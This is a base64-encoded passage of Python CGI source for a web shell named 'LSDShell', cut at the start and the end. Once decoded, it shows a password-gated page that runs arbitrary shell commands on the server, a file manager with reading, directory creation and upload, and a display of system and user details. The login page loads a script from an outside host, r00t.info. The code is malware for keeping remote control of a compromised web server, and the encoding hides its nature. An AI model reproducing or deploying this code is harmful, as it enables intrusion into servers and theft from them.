mZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiAyNHB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOyB9CiAgICAgICAgZm9ybXsgbWFyZ2luOjBweDsgfQogICAgICAgICN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9CiAgICAgICAgLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQogICAgICAgIC5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CiAgICAgICAgcHJlLC5te2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgIDwvc3R5bGU+CjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cHNzd2Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPjwvY2VudGVyPgo8c2NyaXB0IHNyYz1odHRwOi8vcjAwdC5pbmZvL2NjYi5qcz48L3NjcmlwdD4iIiIKICAgIGV4aXQoKQoKaWYgX0NPT0tJRS5oYXNfa2V5KCdwc3N3ZCcpIGFuZCBsZW4oX0NPT0tJRVsncHNzd2QnXS52YWx1ZSkgPiAwIDoKICAgIGlmIF9DT09LSUVbJ3Bzc3dkJ10udmFsdWUgIT0gcGFzc3dvcmQ6CiAgICAgICAgcHJpbnRMb2dpbigpCmVsaWYgX1JFUVVFU1QuaGFzX2tleSgncHNzd2QnKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBoYXNobGliCiAgICAgICAgICAgIHBzc3dkID0gaGFzaGxpYi5tZDUoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaW1wb3J0IG1kNQogICAgICAgICAgICBwc3N3ZCA9IG1kNS5uZXcoKQogICAgICAgIHBzc3dkLnVwZGF0ZShfUkVRVUVTVFsncHNzd2QnXSkKICAgICAgICBpZiBwc3N3ZC5oZXhkaWdlc3QoKSAhPSBwYXNzd29yZDoKICAgICAgICAgICAgcHJpbnRMb2dpbigpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgX0NPT0tJRVsncHNzd2QnXSA9IHBzc3dkLmhleGRpZ2VzdCgpCiAgICAgICAgICAKZWxzZToKICAgIHByaW50TG9naW4oKQoKcHJpbnQgX0NPT0tJRQpob21lX2RpciA9IG9zLmdldGN3ZCgpCgp0cnk6CiAgICBvcy5jaGRpcihfUkVRVUVTVFsnYyddKQpleGNlcHQgb3MuZXJyb3IsIG1zZzoKICAgIHBhc3MKCmN3ZCA9IG9zLmdldGN3ZCgpOwppZiBjd2RbLTFdICE9ICcvJzoKICAgIGN3ZCArPSAnLycKCmRlZiBwcmludEhlYWRlcigpOgogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgKyBfUkVRVUVTVFsnY2hhcnNldCddICsgIic+PHRpdGxlPiIgKyBvcy5lbnZpcm9uWyJTRVJWRVJfTkFNRSJdICsgIiAtIExTRFNoZWxsICIgKyB2ZXJzaW9uICsgIiIiPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBmb3JteyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KICAgICAgICAubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KICAgICAgICBwcmUsLm17Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGNfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYyddKSArICIiIic7CiAgICAgICAgdmFyIGFfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYSddKSArICIiIic7CiAgICAgICAgdmFyIHAxXyA9ICciIiIgKyBlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pICsgIiIiJzsKICAgICAgICB2YXIgcDJfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsncDInXSkgKyAiIiInOwogICAgICAgIHZhciBwM18gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydwMyddKSArICIiIic7CiAgICAgICAgdmFyIGNoYXJzZXRfID0gJyIiIiArIGVzY2FwZSggX1JFUVVFU1RbJ2NoYXJzZXQnXSApICsgIiIiJzsKICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7ZWxzZSBkb2N1bWVudC5tZi5hLnZhbHVlPWFfOwogICAgICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jO2Vsc2UgZG9jdW1lbnQubWYuYy52YWx1ZT1jXzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjtlbHNlIGRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyXzsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMztlbHNlIGRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzXzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87CiAgICAgICAgICAgIGRvY3VtZW50Lm1mLnN1Ym1pdCgpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iIiIKICAgIHByaW50ICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlRpbWU6PGJyPkN3ZDo8L3NwYW4+PC90ZD4nCiAgICBwcmludCAnPHRkPjxub2JyPicKICAgIGZvciB4IGluIG9zLnVuYW1lKCk6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSh4KycgJykKICAgIHQgPSB0aW1lLmxvY2FsdGltZSgpCiAgICBwcmludCAnPC9ub2JyPjxicj4lczxicj4lZC0lLjJkLSUuMmQgJS4yZDolLjJkOiUuMmQgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJXMgPHNwYW4+Q2xpZW50IElQOjwvc3Bhbj4gJXM8YnI+JyAlKCBjb21tYW5kcy5nZXRvdXRwdXQoICdpZCcgKS5yZXBsYWNlKCJyb290IiwgIjxmb250IGNvbG9yPXJlZD5yb290PC9mb250PiIpLCB0WzBdLCB0WzFdLCB0WzJdLCB0WzNdLCB0WzRdLCB0WzVdLCBvcy5lbnZpcm9uWydTRVJWRVJfQUREUiddLCBvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKQogICAgcGF0aCA9ICcnCiAgICBwYXRocyA9IGN3ZC5zcGxpdCgnLycpCiAgICBwYXRocy5wb3AoKQogICAgZm9yIHggaW4gcGF0aHM6CiAgICAgICAgcGF0aCArPSB4ICsgJy8nCiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgiIiI8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdmaWxlcycsJyIiIitlc2NhcGUocGF0aCkrIiIiJywgJycsICcnLCAnJykiPiIiIit4KyIiIi88L2E+IiIiKQogICAgcHJpbnQgIiAiICsgcGVybXNDb2xvcihjd2QpLCIiIjxhIGhyZWY9JyMnIG9uY2xpY2s9ImcoJ2ZpbGVzJywnIiIiKyBlc2NhcGUoIGhvbWVfZGlyICkgKyIiIicsICcnLCAnJywgJycpIj5bIGhvbWUgXTwvYT4iIiIKICAgIGNoYXJzZXRzID0gWydVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NiddCiAgICBwcmludCAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nCiAgICBmb3IgY2hhcnNldCBpbiBjaGFyc2V0czoKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCc8b3B0aW9uIHZhbHVlPSIlcyIgJyAlIGNoYXJzZXQpCiAgICAgICAgaWYgX1JFUVVFU1RbJ2NoYXJzZXQnXSA9PSBjaGFyc2V0OgogICAgICAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnc2VsZWN0ZWQnKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJz4lczwvb3B0aW9uPicgJSBjaGFyc2V0KQogICAgcHJpbnQgJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzbWFsbD5DdXJyZW50bHkgbG9nZ2VkIGluOiAnK2NvbW1hbmRzLmdldG91dHB1dCgndXNlcnMnKSsnPC9zbWFsbD48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMwMGFmY2Y7dGV4dC1hbGlnbjogY2VudGVyOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicKICAgIGZvciB4IGluIFsnRmlsZXMnLCAnQ29uc29sZScsICdQeXRob24nLCAnTmV0d29yaycsICdTUUwnXToKICAgICAgICBwcmludCAiPHRkIHdpZHRoPScxMDBweCc+WyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiIit4Lmxvd2VyKCkrJyIsIG51bGwsICIiLCAiIiwgIiIpXCc+Jyt4Kyc8L2E+IF08L3RkPicKICAgIHByaW50ICc8dGQ+PC90ZD48L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPicKCmRlZiBwcmludEZvb3RlcigpOgogICAgaWYgb3MuYWNjZXNzIChjd2QsIG9zLldfT0spOgogICAgICAgIHdyaXRhYmxlID0gIjxiPjxmb250IGNvbG9yPSMwMGNmZGY+WyBXcml0ZWFibGUgXTwvZm9udD4iCiAgICBlbHNlOgogICAgICAgIHdyaXRhYmxlID0gIjxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiIKICAgIHByaW50ICIiIjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsiPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIiIiArIGN3ZCArICIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdmaWxlVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0OyZndDsiPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2ZpbGVzJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnZmlsZVRvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnc2F2ZScsJycpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmaWxlcyc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiIiK2N3ZCsiIiInPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIiIrX1JFUVVFU1RbJ2NoYXJzZXQnXSsiIiInPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+Cgk8L3RyPgoKPC90YWJsZT4KPC9kaXY+CjwvYm9keT48L2h0bWw+IiIiCgpkZWYgdmlld1NpemUocyk6CiAgICBpZiBzID49IDEwNzM3NDE4MjQ6CgkJcmV0dXJuICIlMS4yZiAgR0IiICUgKHMgLyAxMDczNzQxODI0LjApOwogICAgZWxpZiBzID49IDEwNDg1NzY6CgkJcmV0dXJuICIlMS4yZiAgTUIiICUgKHMgLyAxMDQ4NTc2LjApOwogICAgZWxpZiBzID49IDEwMjQ6CgkJcmV0dXJuICIlMS4yZiAgS0IiICUgKHMgLyAxMDI0LjApOwogICAgZWxzZToKCQlyZXR1cm4gc3RyKHMpICsgJyBCJzsKCmRlZiBwZXJtcyhwKToKICAgIG1vZGUgPSBvcy5sc3RhdChwKVtTVF9NT0RFXQogICAgcCA9IG1vZGUKICAgIGk9IiI7CiAgICBpZiAocCAmIDB4QzAwMCkgPT0gMHhDMDAwOgogICAgICAgIGkgPSAncycKICAgIGVsaWYgKHAgJiAweEEwMDApID09IDB4QTAwMDoKICAgICAgICBpID0gJ2wnCiAgICBlbGlmIChwICYgMHg4MDAwKSA9PSAweDgwMDA6CiAgICAgICAgaSA9ICctJwogICAgZWxpZiAocCAmIDB4NjAwMCkgPT0gMHg2MDAwOgogICAgICAgIGkgPSAnYicKICAgIGVsaWYgKHAgJiAweDQwMDApID09IDB4NDAwMDoKICAgICAgICBpID0gJ2QnCiAgICBlbGlmIChwICYgMHgyMDAwKSA9PSAweDIwMDA6CiAgICAgICAgaSA9ICdjJwogICAgZWxpZiAocCAmIDB4MTAwMCkgPT0gMHgxMDAwOgogICAgICAgIGkgPSAncCcKICAgIGVsc2U6CiAgICAgICAgaSA9ICd1JwogICAgaWYgcCAmIDB4MDEwMDogaSArPSAncicKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiBwICYgMHgwMDgwOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlmICBwICYgMHgwMDQwOgogICAgICAgIGlmIHAgJiAweDA4MDA6IGkgKz0gJ3MnCiAgICAgICAgZWxzZTogaSArPSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDgwMDogaSArPSAnUycKICAgICAgICBlbHNlOiBpKz0nLScKICAgIGlmIHAgJiAweDAwMjA6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAxMDogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwODoKICAgICAgICBpZiBwICYgMHgwNDAwOiBpICs9ICdzJwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDA0MDA6IGkgKz0gJ1MnCiAgICAgICAgZWxzZTogaSArPSAnLScKICAgIGlmIHAgJiAweDAwMDQ6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAwMjogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwMToKICAgICAgICBpZiBwICYgMHgwMjAwOiBpICs9ICd0JwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDAyMDA6IGkgKz0gJ1QnCiAgICAgICAgZWxzZTogaSArPSAnLScKCiAgICByZXR1cm4gaTsKCmRlZiBwZXJtc0NvbG9yKHBhdGgpOgogICAgaWYgbm90IG9zLmFjY2VzcyAocGF0aCwgb3MuUl9PSyk6CiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKICAgIGVsaWYgb3MuYWNjZXNzIChwYXRoLCBvcy5XX09LKToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPScjMDBCQjAwJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgogICAgZWxzZToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSd3aGl0ZSc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKCmRlZiBhY3Rpb25Db25zb2xlKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBwcmludCAiIiI8Zm9ybSBuYW1lPSJjZiIgb25TdWJtaXQ9ImcobnVsbCwgbnVsbCwgdGhpcy5jbWQudmFsdWUpO3JldHVybiBmYWxzZTsiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwMGFmY2Y7YmFja2dyb3VuZC1jb2xvcjojNTU1OyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgc3R5bGU9ImJvcmRlcjowcHg7IiByZWFkb25seT4iIiIKICAgIGlmIGxlbihfUkVRVUVTVFsncDEnXSkgPiAwOgogICAgICAgIHByaW50ICckJywgY2dpLmVzY2FwZShfUkVRVUVTVFsncDEnXSkKICAgICAgICBwcmludCBjZ2kuZXNjYXBlKGNvbW1hbmRzLmdldG91dHB1dChfUkVRVUVTVFsncDEnXSkpCgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7Ij48L3RkPjwvdHI+PC90YWJsZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVzKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAndXBsb2FkRmlsZSc6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBfRklMRVNbJ2YnXS5maWxlbmFtZToKICAgICAgICAgICAgICAgIGZuID0gb3MucGF0aC5iYXNlbmFtZShfRklMRVNbJ2YnXS5maWxlbmFtZSkKICAgICAgICAgICAgICAgIG9wZW4oZm4sICd3YicpLndyaXRlKF9GSUxFU1snZiddLmZpbGUucmVhZCgpKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgaWYgX1JFUVVFU1RbJ3AxJ10gPT0gJ21rZGlyJzoKICAgICAgICB0cnk6IG9zLm1rZGlyKF9SRVFVRVNUWydwMiddKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgcHJpbnQgIjxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdCgnLi4nKQoKICAgIGRlZiBkaXJJdGVtSW5mbyhuYW1lLCBpdGVtX3N0YXQpOgogICAgICAgIGlmIFNfSVNMTksoaXRlbV9zdGF0W1NUX01PREVdKToKICAgICAgICAgICAgdHlwZSA9ICJsaW5rIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHR5cGUgPSAiZGlyIgogICAgICAgIHRtcCA9IHsKICAgICAgICAgICAgICAgICduYW1lJyAgOiBuYW1lLAogICAgICAgICAgICAgICAgJ3BhdGgnICA6IG9zLnBhdGguam9pbihjd2QsIG5hbWUpLAogICAgICAgICAgICAgICAgJ3NpemUnICA6IHZpZXdTaXplKGl0ZW1fc3RhdFtTVF9TSVpFXSksCiAgICAgICAgICAgICAgICAnbXRpbWUnIDogZGF0ZXRpbWUuZnJvbXRpbWVzdGFtcChpdGVtX3N0YXRbU1RfTVRJTUVdKS5zdHJmdGltZSgiJVktJW0tJWQgJUg6JU06JVMiKSwKICAgICAgICAgICAgICAgICd1aWQnICAgOiBzdHIoaXRlbV9zdGF0W1NUX1VJRF0pLAogICAgICAgICAgICAgICAgJ2dpZCcgICA6IHN0cihpdGVtX3N0YXRbU1RfR0lEXSksCiAgICAgICAgICAgICAgICAncGVybXMnIDogcGVybXNDb2xvcihuYW1lKSwKICAgICAgICAgICAgICAgICd0eXBlJyAgOiB0eXBlCiAgICAgICAgICAgICAgfQogICAgICAgIHJldHVybiB0bXAKICAgIGRpcnMgPSBbZGlySXRlbUluZm8oJy4uJywgb3MubHN0YXQoJy4uJykpXQogICAgZmlsZXMgPSBbXQoKICAgIGZvciBpdGVtIGluIG9zLmxpc3RkaXIoY3dkKToKICAgICAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdChpdGVtKQogICAgICAgIG1vZGUgPSBpdGVtX3N0YXRbU1RfTU9ERV0KICAgICAgICB0bXAgPSBkaXJJdGVtSW5mbyhpdGVtLCBpdGVtX3N0YXQpCiAgICAgICAgaWYgU19JU0xOSyhtb2RlKSBvciBTX0lTRElSKG1vZGUpOgogICAgICAgICAgICBkaXJzLmFwcGVuZCh0bXApCiAgICAgICAgZWxpZiBTX0lTUkVHKG1vZGUpOgogICAgICAgICAgICBmaWxlcy5hcHBlbmQodG1wKQoKICAgIHByaW50ICI8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPjxmb3JtIG1ldGhvZD0ncG9zdCc+IgogICAgcHJpbnQgIiIiPHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiIiIjsKICAgIAogICAgZGV